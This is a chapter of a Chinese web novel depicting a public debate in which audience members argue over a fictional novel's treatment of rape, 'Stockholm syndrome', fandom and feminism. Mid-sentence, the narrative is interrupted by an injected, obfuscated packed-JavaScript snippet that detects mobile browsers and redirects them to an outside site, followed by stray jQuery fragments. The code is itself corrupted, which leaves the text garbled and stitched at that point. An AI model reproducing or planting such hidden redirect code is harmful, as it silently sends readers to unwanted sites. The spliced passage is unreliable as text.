17號：“彆的霸總傷害女主，女主還犯賤！”
李求真：“汪小雅被彆人LJ和性虐時，一筆帶過，卻反複描寫厲聽風和汪小雅的香豔刺激帶感。既然劉青青口口聲聲罵男主是qj犯，極為痛恨，反強製愛，為什麼反出床戲名場麵？”
17號：“這是作者的寫作方式，反派就一定要臉譜化嗎？憑什麼不能塑造的立體感！”
李求真直接站了起來，要開口。
紀遇拉住她的手腕，想要阻止，可是慕秉持卻拉住紀遇的手腕，小聲道：“讓她說吧，她忍不住。”
於是，紀遇鬆開李求真的手。
李求真握著話筒，她的聲音在整個會場飄蕩，“反派可以塑造的有立體感，但如果作者塑造一個她厭惡的角色，故意賦予他魅力吸引人，是為了嘲諷和批判喜歡這個角色的群體和價值觀，那這種行為叫釣魚執法，釣魚執法會對社會的破壞性請自行搜索。有人喜歡小醜、伏地魔，不代表他們支持現實中的變態殺人犯，創造這些反派的作者，更沒有踩著紙片人標榜自己。現實中那麼多不公和罪惡等著揭露，卻諷刺抨擊彆人愛看什麼狗血小說，喜歡什麼虛構角色，愛吃什麼垃圾食品，上升到價值觀進行嘲諷批判，純粹是欺軟怕硬！”
“如果像狄更斯或者類似小說1984，亦或是熔爐、素媛、不要和陌生人說話，對現實和社會現象的揭露和呈現，才真了不起。可是一頓猛如虎的創作，是為了諷刺彆人愛看虐文，給狗血小說定標準答案，這叫多管閒事。有水平的作家呈現的是現實，不會吹牛標榜自己，沒水平的才會靠攻擊彆人抬高自己。如果火就代表優秀，那現在有人直播跳化糞池也能火。”
“說的好！”現場的人鼓起掌來。
“我不跟你們這些邏輯混亂的人爭論！”17號女孩憤然離開了會場。
又有粉絲不甘示弱：“你們都在惡意曲解作者，作者美化男主是為了嘲諷，把他寫得有魅力才能達到諷刺群體的效果，她隻是為了撕碎和諷刺那些戀愛腦對霸總的幻想。”
慕雲霓不耐煩道：“能不能彆再拉踩了？為了搶劫讓小弟奸·殺女主，還讓人輪·奸女主，這是霸總嗎？”
“你們的父母拿彆的孩子跟你們比，打著為你好的旗號打壓你、諷刺你，撕碎你們的漫畫時，你們認為父母心理有問題。結果輪到你們自己踩一捧一，傲慢刻薄地撕碎人家的幻想，當女爹教育人，就自詡人間清醒。真以為女人看了幾本霸總文，什麼都不乾了，整天等霸道總裁愛上她嗎？人家幻想霸總關劉青青什麼事，她憑什麼當女爹教育人？”
慕雲霓說完，李求真補充道：“故意美化一個角色是為了諷刺彆人，把角色塑造成被諷刺群體喜歡的樣子，然後嘲笑踐踏這些人，這種創作沒有內涵，是傲慢和情緒化的釣魚產物，還不如無腦霸總文，至少老實地給讀者造夢。不管劉青青創作目的有多宏偉，重點是她成就了她的男主，成事不足敗事有餘，非但不反思，還寫姊妹篇強化cp，這足以證明所謂的創作背景全是吹出來的。”
“能夠引起社會反思的是《盲山》《韓公主》《房思琪的初戀樂園》，而不是‘英俊邪惡多金霸總瘋狂愛上我，但我三觀正不愛他’。這種寫法本質就是YY和性幻想，和YY霸總沒區彆，才是最大的諷刺。”
李求真口若懸河。
“說得好。”現場響起了鼓掌聲。
女孩生氣道：“給讀者造夢就是在犯罪，讀者看完霸總文之後，誰還想嫁普通男人？被老公家暴都不離婚。”
慕雲霓：“你便秘是不是還要怪地心引力？哪個女人被老公家暴是因為霸總文才不離婚？你舉幾個例子出來，可以查證的。”
女孩：“……”
李求真：“你靠腦補給人定罪這叫汙蔑。”
慕雲霓：“人家每天工作學習，一天下來夠累了，看個狗血文解解壓，幻想一下，還得被教育三觀，被強行灌輸正能量，被作者帶頭諷刺，審判三觀，打著女性旗號侮辱女人下賤，你們這些覺醒仔能不能放過彆人？上綱上線扣帽子誰不會？我覺得你長得醜，嚴重侮辱國家形象，影響下一代。”
現場又笑了起來。
慕雲霓：“而且，獵物不乖越到後麵越是塑造男主的深情和悲情英雄形象，結局讓他有尊嚴地自殺死去，還留下後代，分明是在修複他的惡劣形象。如果作者真厭惡這個角色還這樣寫，那這種寫法很卑鄙，相當於戒煙產品中故意加重尼古丁，然後批判上癮者。”
慕秉持在紀遇耳邊說：“那個人說，會讓劉青青死前給她一場狂歡，恐怕這就是狂歡開始。就連求真和雲霓都加入了。那個人在表達，輿論和三觀是可以被操控的。”
紀遇眉頭緊鎖。
這場爭辯，還在繼續。
角落的黑衣女子說：“不管作者的創作初衷是什麼，就是失敗。怎麼沒人說小說1984是一個失敗的產物，看完之後很多人都愛上了極權？打著正義旗號搞刺激，挨罵活該。”
女孩說：“1000個讀者有1000個哈姆雷特。也有人討厭厲聽風，共情女主，這就是反斯德哥爾摩的。”
黑子女子：“那為什麼隻準你理解的哈姆雷特是正確的，那些磕cp要被羞辱？為什麼劉青青還跳出來定標準答案，諷刺喜歡厲聽風的人？也沒見莎士比亞跳出來定義哈姆雷特。he虐文也會有人討厭男主，共情女主，是不是he虐文也能吹反斯德哥爾摩？”
“he虐文女主犯賤，愛上男主，重度斯德哥爾摩綜合症。”
黑子女子諷刺道：“哦，你們能夠忍受女主被無底線淩虐，隻要男主失去他的愛情就行了，那不還是愛看和愛寫虐文嗎？有什麼高貴的？用不愛懲罰男主，這不就是戀愛腦思維。結果又意難平，搞出姊妹篇，裝什麼？”
現場發言的人不絕於耳。
“每次提到《獵物不乖》，總有人搬出劉青青的創作初衷，反複強調諷刺虐文斯德哥爾摩，用現實裡的罪犯諷刺cp粉，作者也反複辱罵自己的紙片人，強調三觀正，甩鍋給彆人，就已經證明《獵物不乖》是偽裝的正義。如果作者和書粉還能狡辯，那寫HE虐文的作者也可以說寫HE是為了激起讀者逆反心理。但幸好這些作者沒這麼做，所以我更接受那些敢作敢當的狗血文。”
98號是一個穿著校服的高中生，用傲慢的語氣道：“作者三觀本來就很正，這本書本來就是用來諷刺斯德哥爾摩的，你們怎麼抹黑也遮蓋不住它的光環。”
80號：“為什麼諷刺受害者斯德哥爾摩是三觀正？這明明是傲慢的惡意。”
98號：“那些女主犯賤，愛渣男。被諷刺有什麼不對？”
80號：“斯德哥爾摩是受害者的在麵對極端的迫害情況下，產生的一種應對創傷和威脅的心理機製。那些虐戀情深小說裡女主最多是聖母，這種作品大多都是女主一開始就喜歡男主，因為某種誤會男主傷害了女主，最後幡然悔悟贖罪尋求原諒，女主最終選擇原諒了他，又不是女主被LJ、虐待出愛情，這跟斯德哥爾摩什麼關係？女主不原諒渣男的古早文我看的多了，也沒見這些作者吹自己反斯德哥爾摩。”
98號：“不管是不是斯德哥爾摩，也是那些女人犯賤。”
32號：“那你們連是不是斯德哥爾摩綜合征都沒搞清楚就吹反斯德哥爾摩，是不是蠢？你們這些人總愛以自己的意誌淩駕於彆人之上，定義彆人賤不賤。非說犯賤，獵物不乖更賤，作者偏心男主，搞出帶感cp，香豔床戲，還給罪犯生孩子，衍生出姊妹篇滿足意難平，這不叫賤叫什麼？惡臭不是幾個正義的標簽就能遮掩的。”
2號：“未經他人苦就傲慢地定義彆人賤，真惡毒！獵物不乖帶偏了一堆人！”
98號：“那些虐文也是美化罪犯，法盲男主英俊無敵。”
2號：“那些虐文標榜自己了嗎？它寫的就是狗血這套，受眾知道自己在看什麼玩意兒。到現在法盲虐文還有人寫，可獵物不乖怎麼下架了？論嚴重程度你們心裡沒數嗎？”
98號生氣道：“你們不能因為愛上厲聽風，就汙蔑作者。作者說了多次她恨男主，男主是垃圾，可還是有一大堆夢女。作者說了獵物三觀正。”
“每次都把責任推給夢女，有沒有可能作者在撒謊？站在道德高地貶低彆人，把批評這本書的人都打成厲聽風的夢女，這操作比虐文low多了。一本獵奇的瑪麗蘇小H文硬要拔高成批判文學，結果被發現詐騙，就反咬彆人三觀不正。”
“彆拿作者的話當金科玉律，作者撒謊的一大堆，有些抄襲作者還死不認，文字遊戲玩得漂亮，粉絲盲目維護。劉青青騷操作一堆你們還洗地，你們才是夢女。”
“當一個作品被大肆渲染三觀正，一定程度代表這個作品空洞沒有內涵，隻有二元對立和情緒煽動。縱觀那些了不起的作品，不會刻意標榜自己的三觀正，而是通過講述深刻而複雜的故事，引發觀眾的思考和共鳴。真正優秀的作品能夠在敘事中展現多元視角和人性深度，而不僅僅停留在表麵的價值判斷上，更不是為了占領道德高地。”
有人氣得反駁：“狗血又怎樣？為什麼作品非得有內涵？”
有人回應：“作品可以狗血沒內涵，就像吃重口味路邊攤，這個世界需要路邊攤，但是你不能賣的是重口味路邊攤，卻吹自己是“反路邊攤健康食材”，結果被人發現賣的更不健康，你就轉移話題，自稱是受不了垃圾食品，所以才故意賣更垃圾的食品，就是為了讓彆人知道那些路邊攤有多垃圾，把一條街的路邊攤都諷刺了，還甩鍋給那些喜歡你垃圾食品的消費者。可是你又接著推出了一個垃圾食品的姊妹版，滿足那些消費者的意難平。說的儘是漂亮話，乾的都是醜陋事。”
“什麼樣的人無法容忍顧客喜歡自己創造的主打垃圾食品？當然是心虛的人。”
“……”
索菲婭原本在靜靜的看著台下爭執的眾人的，終於開口：“不是所有批評的人都因為喜歡厲聽風，但不會因為討厭他，就盲目覺得作者正義。”
19號書粉：“作者就一定要愛自己筆下主角嗎？”
索菲婭：“確實有作者不喜歡自己的主角，但會醜化他，把高光分給其他角色。可《獵物不乖》相反，越往後越塑造男主，把所有的張力都給他。作者不是不會塑造男二，而是她故意把筆墨都用在男主身上，吸引受眾，讀者看了後麵才喜歡上男主。結局女主為死去的男主生了孩子，以及男主的懺悔錄像、姊妹篇，都在證明劉青青滿口謊言。難道你們憎惡一個人，並且想讓彆人也憎惡他的時候，還會在彆人麵前大量美化他，給他寫姊妹篇？”
“就算劉青青真的惡心厲聽風，可她造成了那麼多人磕cp後，她一邊審判cp粉，一邊給風雅cp寫姊妹篇，難道不是更加證明，她為了錢可以違背她的價值觀？從哪個角度她都惡劣。”
所有人：“……”
一個約莫30歲左右的女子，拿起話筒，聲音慵懶，“這本書本質上
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914663|130919||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
就是一本強製愛h文，邪惡英俊的黑老大愛上正經少婦，女主迫不得已背著老公和男主搞刺激，男主無敵掌控所有人，太帶感了。什麼女主被迫的，反斯德哥爾摩，彆洗了，它呈現的就是色情暴力，禁忌帶感，狂熱粉絲沉浸在女主不愛男主的精神勝利法中自欺欺人。”
有個女生十七八歲，生氣地說道：“作者為什麼不可以塑造厲聽風這種有魅力的純惡人男主？她不該被審判。”
索菲婭開口：“我認同你的話，但問題是，她審判彆人，但是她作品卻導致更多的人磕cp，她標榜自己標榜的三觀正，嘴上恨不得把男主活刮了，煽動對立，結果立馬寫了姊妹篇，順應cp粉。”
201號女孩開口：“你們的邏輯很奇怪，一直在說讀者喜歡厲聽風是作者的責任。可如果厲聽風換成現實中又胖又醜的窮逼色魔，那些夢女孩會喜歡嗎？厲聽風就是現實中的趙鬥淳。”
71號：“劉青青沒有把厲聽風寫得又胖又醜又窮，反而塑造成男神。她寫的是霸道總裁愛上我的狗血套路，憑什麼要求讀者把男主和現實中的趙鬥淳一樣看待？她自己偏心男主，憑什麼教育彆人？她寫不出嚴肅深刻的現實題材，就彆怪讀者三觀不正，不懂聯想現實。”
201號：“作者隻是想要表達他是英俊的垃圾，來諷刺那些愛看霸總的戀愛腦，讓她們清醒。”
71號：“哦，寫成很多人會喜歡的樣子，釣魚執法對吧？風雅cp的宣傳海報拍的真多，分明就是在炒cp，女主跟他心愛的男二啥也沒有。最後造成了一場網絡造梗狂歡和讀者之間的對立，這就等於找蒼老師拍av來反av。這叫釣魚執法，而且專門為風雅cp寫個姊妹篇，這叫虛偽。”
201號：“姊妹篇跟獵物不乖沒關係。現實中厲聽風這種罪犯有很多，厲聽風就是現實中的趙鬥淳。你們想想韓公主和素媛。”
71號：“那要是有一部素媛的姊妹片，cp是素媛跟趙鬥淳的演員出演，還相愛了，創作者存的是什麼歹毒的心？”
有人補充：“你們不是嚷嚷著厲聽風就是趙鬥淳，以此來諷刺那些夢女嗎？那怎麼趙鬥淳跟素媛搞出姊妹篇了？作者親自執筆《遇見真愛》哦。”
對方：“……”
242號：“你們不就是這個邏輯嗎？彆說這兩者不一樣，是你們先用這種現實中的罪犯來上綱上線的。”
201號不死心道：“這本書呈現的就是現實，是為了諷刺某些腦子有坑女人，霸總英俊的外表之下，是整部刑法把你殺掉，是qj犯。”
66號笑了起來，“高大英俊無敵多金，身強體壯技術好的歹徒，瘋狂迷戀被他淩虐的受害者，你說現實裡到處都是這種qj犯？一個英俊無敵，在血腥中廝殺長大，心狠手辣，無惡不作的黑老大，卻是一個戀愛腦，為了一個不愛他的女人要死要活，明知道這女人想送他進局子，還把秘密都告訴她，你管這叫呈現現實？這分明就是少婦的終極瑪麗蘇性幻想，現實中一萬個汪小雅都不夠厲聽風殺，脫離現實的霸總文，就彆硬扯上現實爹味教育人，否則就是詐騙。”
44號：“獵物不乖女主被男主殺了嗎？沒有，女主靠男主的愛活下來了。它按照韓公主和素媛這種方式寫了，拍了嗎？也沒有。素媛和韓公主是根據真實故事改編，不是為了反斯德哥爾摩，沒有吹女性主義，沒有美化罪犯，沒搞帶感cp，它是為了揭露社會殘酷，為了抨擊司法不公，它懟的是現實中的掌權者，不是為了諷刺那些虛構的狗血作品、更不是為了諷刺彆的女人下賤。它們帶來的社會反思，獵物不乖也有臉蹭？”
“你們不質疑小說美化罪犯，以及找了個188的帥哥演罪犯，打著正義的旗號搞cp，不質疑這對cp又去出演了姊妹篇情侶滿足粉絲意難平，反倒辱罵那些喜歡這個角色的人三觀不正，還拿趙鬥淳來諷刺他們。主要責任在創作方，怎麼甩鍋讀者和觀眾了？縱觀那麼多魅力反派的作品，沒見哪個作者帶頭辱罵喜歡反派的讀者，又當又立。素媛這部電影這麼火，怎麼沒見趙鬥淳跟素媛再去演個姊妹篇情侶？”
“還有臉對標現實，拿現實中的犯罪來營銷，它配嗎？它真想呈現現實，就寫熔爐、素媛、韓公主、盲山這種，不要美化罪犯，要不然就等於吸受害者的血。趙鬥淳這種人不會愛上素媛！要是現實中的受害者看到你們這幫人嘴上嫉惡如仇，口口聲聲說厲聽風就是現實中的趙鬥淳，拿她們的苦難來標榜你們的正義，最後搞出受害者和加害者的帶感cp，把你們口中跟趙鬥淳一樣的罪犯美化成男神，收割一堆粉絲，她們一口老血噴到你的B臉上！”
“說得好。”現場鼓起掌。
142號：“青青是對那些強製愛小說深惡痛絕，那是qj！她是在抨擊諷刺這些行為跟現實是一樣的惡劣！”
187：“強製愛是QJ，她就寫LJ是吧？既然她把小說跟現實扯一塊，那她就寫現實題材，可她幻想qj犯愛上受害者，花式床戲，塑造他的立體感是什麼操作？她批判的小說再毀三觀，好歹它們不標榜自己，本來就是狗血沒營養的網文，誰家燒烤標榜自己能排毒養顏？獵物才真惡臭，用正義和女性主義詐騙一堆人進去，後麵全在描寫厲聽風的深情，性張力對手戲，一堆人被帶歪，看看那些cp粉和姊妹篇，看看那些辱罵女性的正義狂魔，你們才該清醒！”
307號：“獵物隻是一本小說，真寫成現實中那樣就沒人看了，小說裡的美化，是體現人性複雜。”
248號：“那是作者的問題，現實題材那麼多，人家怎麼不怕沒人看？沒本事寫沉重的現實題材就彆吹牛。一本節操儘碎的h文還非要吹三觀，吹反斯德哥爾摩，蹭現實中的案件！哪個現實中的罪犯LJ受害者後愛上她，和她成了帶感cp？既然她體現了人性複雜，那憑什麼定標準答案，不準讀者喜歡複雜的男主，否則就審判三觀？”
“彆人隻扯小說的時候，你們扯現實，彆人扯現實，你們又說隻是小說。彆人說人性複雜，不該非黑即白地審判，你們又扯正義三觀。彆人說正義三觀，你們又說人性複雜，厚顏無恥之徒！”
“罵的好。”現場又鼓起掌來，“太爽了。”
248號又開口：“你真當看狗血文的都不懂qj殺人是犯法嗎？喜歡小醜的人，如果現實中真遇到小醜，誰不知道報警？創造小醜的人可沒踩著小醜來標榜自己三觀正。斯德哥爾摩綜合征是一個複雜的心理學，彆隨便學個概念就到處亂用。”
307號：“諷刺小說有很多，要是按照你們這樣的說，諷刺小說都不能寫了是嗎？創作自由懂不懂。”
248號：“你看過真正的諷刺小說嗎？你拿一本獵奇狗血小h文跟那些正經的諷刺小說比，瘋了吧，它配嗎？”
309號女生說：“劉青青和你們青粉，對彆人的作品喊打喊殺，自己不愛看就砸人家飯碗，等到自己喜歡的作品挨罵，又嚷嚷著創作自由，要臉嗎？”
11號：“那些討厭的題材就應該被永遠淘汰，審判沒錯。”
“那我討厭獵物不乖，審判沒錯，你急什麼？”
“一個市場之所以百花齊放，就是因為能夠包容不同題材。當你不喜歡的題材被審判到沒人敢寫，你覺得爽了，審判不會停止，接下來人們會對你喜歡的題材下手。如果討厭的題材該被淘汰，那小說應該從這個世界上消失，世界名著都有人討厭。”
319號：“你們為什麼就不能承認獵物不乖作者三觀正，彆管她諷刺現實還是小說，她就是為了諷刺。”
37號：“獵物不乖如果是為了諷刺現實，現實哪個受害的女性，像她書裡的女主那麼慘還愛上了，真的有這樣的人，這是她的心理保護機製，應該幫她，而不是被冷血地“反”和嘲笑！而現實中的罪犯怎麼會是高富帥的同時，又愛上被他淩虐的受害者，成了她的舔狗？如果是為了諷刺霸總文，那獵物不乖造成的cp粉更多，還搞出姊妹篇再續前緣，有什麼臉吹三觀？”
91號：“獵物這種書還不如那些he虐文，讀者知道渣男是女主的，兩人鎖死。可是這種反哥的書，打著正義旗號搞cp，作者偏心更加惡劣的男主，美化罪犯，潛移默化影響人，一堆人遺憾男主回不了頭，意難平。”
88號：“作者雖然愛厲聽風這個角色，傾注了很大的心血，可是不影響她站在道德的製高點審判他，審判讀者，這種行為並不衝突。有問題的是那些喜歡厲聽風的斯德哥爾摩讀者，感謝作者讓公眾知道斯德哥爾摩綜合症。”
27號女子：“又當又立並不衝突，還挺高尚是吧？反出cp粉和姊妹篇，還很成功是吧？另外，是綜合征，不是症。”
28號：“你通過這本書才知道全球著名的斯德哥爾摩綜合征，見識少的令人發指，難怪你被這本黃文給帶偏。明明是她毫無底線地拿反斯德哥爾摩當噱頭，導致一堆人對斯德哥爾摩綜合征產生錯誤的認知，諷刺女人賤，你還感謝，這本書騙的就是你這種沒腦子的人。”
她一邊說一邊笑，“居然把虛偽說得這麼冠冕堂皇，劉青青不愧是三觀靈活的人，青粉三觀也挺靈活。”
慕雲霓：“那些明擺著承認自己心疼厲聽風，被作者侮辱之後立馬脫粉回踩的讀者，分明是人間清醒，敢愛敢恨，證明夢女能分得清小說和現實。可是那些嘴上罵著夢女三觀不正，罵厲聽風該死，實際上心疼男主，並且理解作者的騷操作，這種人才真是斯德哥爾摩，不愧是劉青青提純出來的粉絲。但凡多看幾本言情，也不會被忽悠成這樣。”
24號黃衣女孩理直氣壯地開口：“你們都錯了，我是言情作者，我有資格說，言情隻有嬌妻和虐文，女人隻會當男人的狗，沒完沒了的雌競，厭女，這些文腦子都有坑。還是男人之間的故事高端，畢竟男人之間的競爭和權力廝殺是很正常的，才是真正的強，有宏大的世界觀，男男才能看到勢均力敵的愛情，言情完全沒有，根本就不會展現女性力量，都是小情小愛，言情作者普遍厭女，我愛女，女性意識覺醒，所以反對言情。”
慕雲霓問：“又來一個吃了覺醒藥片的覺醒仔，那你看獵物不乖乾嘛？這不是更虐女？”
24號：“獵物不乖甩那些言情一萬條街，已經脫離網文範疇，女性意識覺醒，跟名著比肩，言情小說這幾個字，拉低了它的格局，言情小說不配比。”
此話一出，很多人都在噓。
“這年頭看個狗血言情文，還得搞個遮羞布，看出高人一等的優越感，你生活得有多不堪呀？獵物不乖是一本狗血h文，不配蹭言情兩個字，不配跟彆人比。”
“什麼才算勢均力敵？身份地位體力身高IQ甚至財產精確到小數點都要一模一樣才叫勢均力敵，意識覺醒嗎？愛情什麼時候以勢均力敵為標準？言情我也看過很多勢均力敵，強強聯手的愛情，見識少才張嘴就是充滿優越感的拉踩，你分明對女性有偏見，以男人為標準定義所謂的力量和強大。”
“大量言情小說裡，有大把正麵和強大的女性角色，你是一個都不看。對女人的行為指指點點，卻包容男人的多樣性，你自己都瞧不起女性，回避作為女人的特征，連女性的競爭權都無法容忍，還說彆人厭女。”
24號：“誰瞧不起？誰回避了？你這種言論真是無知！是言情小說太惡心，我會代入，受不了女主被虐，尤其是她們還要生孩子，這是剝削，言情太窒息，就算是甜寵文，男主塑造的再完美，我也無法容忍女主和他在一起。而男男我可以作為旁觀者去看，不會代入。”
“你無法容忍女主和完美的男主在一起，但是可以接受男男，那你不就是希望全世界的女人都沒有男人和愛情嗎？你自己沒有，就見不得彆的女人有，這叫厭女。”
24號：“你才厭女，真會扣帽子。”
“這厭女帽子不是你先扣的？你看言情小說會代入，所以你看男人之間的故事，你這不叫回避女性身份叫什麼？真是矛盾的發言！你是言情作者，卻不願意以女性作為主體，寫展現女性的力量的書，無視市麵上多樣化的言情題材。你不想女主戀愛，那你寫無cp女主獨美啊，你又不看又不寫，又說你愛女，是把大家當傻子嗎？好歹那些嬌妻文虐文讀者願意買單支持女作者，你為女強和無cp買過單嗎？你自詡旁觀者卻支持男性之間的故事，自詡心疼女孩卻諷刺女性為主題的故事，偏偏吹捧獵物不乖這種諷刺女人的書，青粉都這副德性嗎？邏輯混亂。”
24號：“你……”
“你認為沒有女性力量的言情書，你就去看男性力量，然後回過頭來踩女人，可見你潛意識把女性定在框架裡，而男人不用被定義，通過男人的視角展開什麼樣的情節你都覺得合情合理，哪怕女強文真的勢均力敵，你也認為女弱，你骨子裡就是認為男人的強才算強。言情也有女強，男主背景板，甚至無cp你怎麼不看？你拿男男裡麵的最強對比言情裡麵的最弱，分明是偷換概念。比起女性，你更認可男人的多樣性。如果所謂的女性意識覺醒是貶低打壓和你想法不同的女性，那你跟當年那群逼女人裹小腳的死老太婆沒區彆。”
12號：“同樣的事，男人可以，女人不行，因為這個社會對女性要求更高，這就是為什麼虐戀小說，要是女主愛男主，就被罵下賤，女強文男主弱，又嫌女主扶貧，男主強大，又被諷刺女強男更強，可是女主獨美無cp文、百合文你又不看。你覺得言情沒有勢均力敵，你不是作者嗎，去填補市場空白啊，看看到底是不是因為言情沒有勢均力敵，你們才排斥，還是你本質上就是好男男這一口，用貶低言情和意識覺醒當做借口。”
“愛女是幌子，你本質是厭棄自己作為女性的特征，看男男就可以暫時回避，這沒什麼問題。可非得貶低以女性為主體的言情，還拿意識覺醒當遮羞布，這分明是對女人的另一種剝削。一邊定義女性，一邊認可男人的多元化。這個社會的確厭女，我也厭你這種女人。”
“真愛女難道不應該鼓勵女作者創作，尊重女性的多樣性，有強有弱，這不比把女性當成天然的受害者，要求她們強大，卻反過頭去吹捧男人的強大要有用的多？哪怕是一個家庭主婦都有自己的力量，不是厲害到征服世界才叫強。”
24號怒道：“弱者憑什麼得到尊重？嬌妻永遠不可能得到尊重，隻有強大了才能得到尊重。”
“你自己不尊重他人，彆賴在全人類身上。誰跟你說嬌妻一定是弱者？你對這個世界的認知真狹隘。你要是覺得弱者得不到尊重是應該的，你上街去找個殘疾人揍，你看看大家什麼反應。”
24號舌戰眾人：“那能一樣嗎？言情裡麵的女主就是不會得到尊重，可是換成男男就不一樣了，就是雙強！”
“性彆一換，把女性的美好放在男人身上，甚至連老婆妻子這種原本屬於女人的稱呼都給男人，就是強，你就嗑，換成真正的女人你就排斥鄙視不尊重，還打著女性意識覺醒的旗號，同樣的事男人可以，女人不行，可是把女人的特質放在男人身上，你又磕了，你這不是厭棄女性身份是什麼？你自己都瞧不起女性，難怪寫不出女性力量。”
24號：“你們還真是會搞對立啊，開始貶低起男男和腐女了，我愛看男男怎麼了？”
37號：“青粉又來反咬一口了，沒人貶低男男和腐女，是你這種人在給他們招黑。你喜歡看什麼都行，可非得貶低彆人來抬高你自己喜歡的東西，能不被罵嗎？你就這麼缺乏認同嗎？通過這種方式找高人一等的優越感。”
“既然能做到把力量賦予男性，那為什麼不能把力量賦予女性，你為什麼從不質疑這一點？反而嫌棄言情沒有女性力量？你就是精神男人，把女人所有的東西都奪走，又要嘲笑她們沒力量！言情裡也有很多強大的女主，你選擇性無視，拿男男裡的最強，跟言情裡的最弱比，你怎麼不說男男還有一大堆帶球跑柔弱奶屁受？你就是無法容忍女人，彆吹什麼女性意識覺醒。”
“那些言情女主再弱、再討厭，好歹以女性為主，沒有逃避她們性彆、需求和精神世界，沒有把她變成美化後的男人。”
“劉青青的粉絲全都這樣，打著女性的旗號諷刺女人，然後對女人更殘忍。劉青青的寫作動機是為了諷刺女性，利用沒人性的英俊歹徒和正義少婦搞帶感cp，暴力美學，宣揚女性斯德哥爾摩是犯賤，這種垃圾你們都能容忍，還談什麼愛女和女性意識覺醒！”
“你們……”24號女孩被懟的怒火滔天，罵了幾句臟話，氣憤地甩掉話筒，離開會場。
“看虐文、黃文、男男，很正常，我也看，搞什麼遮羞布？坦坦蕩蕩不好嗎，都是二次元紙片人有啥好高人一等。”
19號：“說句題外話，我認識兩個專門寫霸總和虐文的女作者，靠這些題材賺錢，卻支持劉青青。因為她們瞧不起霸總文和虐文，私底下諷刺自己的讀者是傻逼，居然喜歡這種她們隨便寫的腦殘文。讀者們求之不得，放在心上的作品，是她們棄如敝履的。”
“所以沒必要為所有作者鳴不平，有些作者喜歡被劉青青侮辱，她們都不尊重自己的讀者。也沒必要為那些被劉青青背刺的讀者鳴不平，這些讀者一邊瘋狂磕風雅cp，一邊又拿著《獵物不乖》嘲笑彆人的虐文腦殘犯賤文筆差。世界就是個SM場，那些自以為清醒的人都在被pua。”
“現在諷刺某些題材已經成了一種網文寫作套路，二十年前老梗都被翻出來諷刺，那些梗比他們年齡都大。那些寫穿到虐文裡批判的人，有些以前就是寫虐文的。以前的梗寫多了就被反，“反”成了另一種套路。說不定過些年文藝複興，古早文又會席卷而來。”
有人不服氣，說道：“難道霸總文、虐文、強製愛就不應該被反對和消滅嗎？”
微胖的女人反擊：“有人愛看，你憑什麼把它們消滅？你是希特勒？就算反，劉青青也沒資格，用來諷刺斯德哥爾摩、反虐的文，卻反出了更多讀者愛上更加惡劣的男主，這種書本身就是最大的諷刺，越虛偽越要裝高貴！”
她說的不過癮，又繼續補充：“是不是不拿虐文強製愛當擋箭牌，你們的洗地就沒有說服力了？風雅cp就是多，不然怎麼會有姊妹篇，作者用實際行動向你們證明，錢到位，她可以立刻向霸總跪。”
慕秉持小聲在紀遇耳邊說：“我感覺他們會打起來。”
紀遇環顧四周，最後將視線落在索菲婭身上：“這就是主辦方的目的。”
索菲婭的視線也同樣落在紀遇身上，兩個女人對視，索菲婭向她投去一抹禮貌的笑容。
紀遇剛要站起身，想告訴他們不要再爭執，慕秉持一把抓住她的手，說道：“你如果現在阻止，隻是火上澆油，索菲婭讓我們來，肯定有對策。”
爭執，還在繼續。
“但現在不少人被帶節奏，無視書與書之間的差異性，斷章取義，開地圖炮。有些作者也愛抨擊某些他們討厭的題材，煽動對立，同為創作者，都不能容忍創作的多元化。有些人對劉青青這種大作者有濾鏡，她隨便一句話就能帶節奏，一堆營銷號吹捧，她自己爽了，還能把自己摘乾淨，最後不但連累很多作者，還誤導了一群人，給小說定標準答案，搞壞了創作環境。等劉青青被質疑了，書粉又說質疑她的人在破壞創作自由。”
“我是女權主義，瞧不起原諒渣男的賤女人，作者也賤，在女性意識覺醒的今天，我把話撂在這兒，青青就是史上第一三觀正的作者，沒有之一。”
“以前要求女人三從四德，否則就是賤婦。現在要求女人不能原諒渣男，否則就是賤女人。原來女權主義是貶低那些跟你思想不同的女性，對她們重拳出擊，橫豎都在對女性口誅筆伐。”
“嗯嗯，姐妹說得好，女權主義就是壓榨女作者的創作空間，網暴女作者，女讀者，女性意識覺醒就是無法容忍不同的女性，甚至辱罵受害者，把她們視為賤貨，詛咒她們遇到罪犯。”
這波諷刺拉滿了，現場有人笑了起來。
“洗地的人全都無視獵物不乖的問題，隻會審判彆人、腦補定罪、轉移話題、避重就輕。”
“你們不也在上綱上線審判獵物不乖？作者為了搞刺激又怎樣？小說而已，創作自由，而且人家文字功底很好呀。”
“那劉青青和青粉能不能不要對彆的小說上綱上線啊，人家也有創作自由啊，人家文字功底也很好。”
“你是不是沒看過文筆和文字功底好的書啊？獵物不乖文字明明很一般，它靠著是獵奇色情暴力的劇情刺激感官，被營銷火了之後，很多人慕名去看，自帶濾鏡。”
“彆人被網暴的時候你們集體裝死，現在劉青青被罵，你們就高舉創作自由，你們這些垃圾！”
“你罵誰垃圾呢？”有幾個女孩氣憤地站起來。
“罵的就是你們。”
有個男人開口：“女人寫的小說不行，女人就愛寫三觀不正的言情小說，男不壞女不愛，這不是賤是什麼？一副不值錢的樣子。”
聽到男人的話，全場的女人全都愣住。
接著，咆哮聲傳來：“你給我滾，輪不到你對女人指手畫腳！你們男人的書也有一堆開後宮，幻想膚白貌美大長腿，白富美愛上窮屌絲，癩蛤蟆吃天鵝肉，就不賤了？”
剛剛那個男人被氣憤的女人們轟了出去。
